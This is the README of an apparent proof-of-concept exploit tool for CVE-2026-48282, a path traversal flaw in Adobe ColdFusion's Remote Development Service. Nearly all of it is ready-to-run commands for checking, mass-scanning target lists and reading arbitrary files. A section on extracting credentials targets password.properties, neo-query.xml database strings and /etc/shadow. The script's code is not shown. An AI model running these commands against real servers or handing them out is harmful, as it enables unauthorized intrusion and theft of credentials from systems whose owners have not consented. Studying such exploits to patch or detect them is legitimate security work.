CVE-2026-48282-POC

CVE-2026-48282 is a path traversal vulnerability in Adobe ColdFusion's Remote Development Service (RDS) with a CVSS score of 10.0 (Critical). It allows unauthenticated attackers to read & write arbitrary files via the /CFIDE/main/ide.cfm endpoint, leading to Remote Code Execution (RCE).

Installation

# Clone the repository
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282

# Install dependencies (only requires `requests`)
pip install -r requirements.txt

Usage

Single Target (-t)

# Check vulnerability
python cve-2026-48282.py -t https://target.com --check

# Read files
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"

# Browse directories
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"

List Mode (-l) — Scan Multiple Targets


# Basic mass scan
python cve-2026-48282.py -l targets.txt --check

# More threads + save results
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt

# Scan + auto-read canary file on any vulnerable target found
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt

Read sensitive files


Once confirmed vulnerable, extract credentials and configuration:

# ColdFusion admin password hash
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"

# Database connection strings (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"

# Linux targets
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow

CVE-2026-48282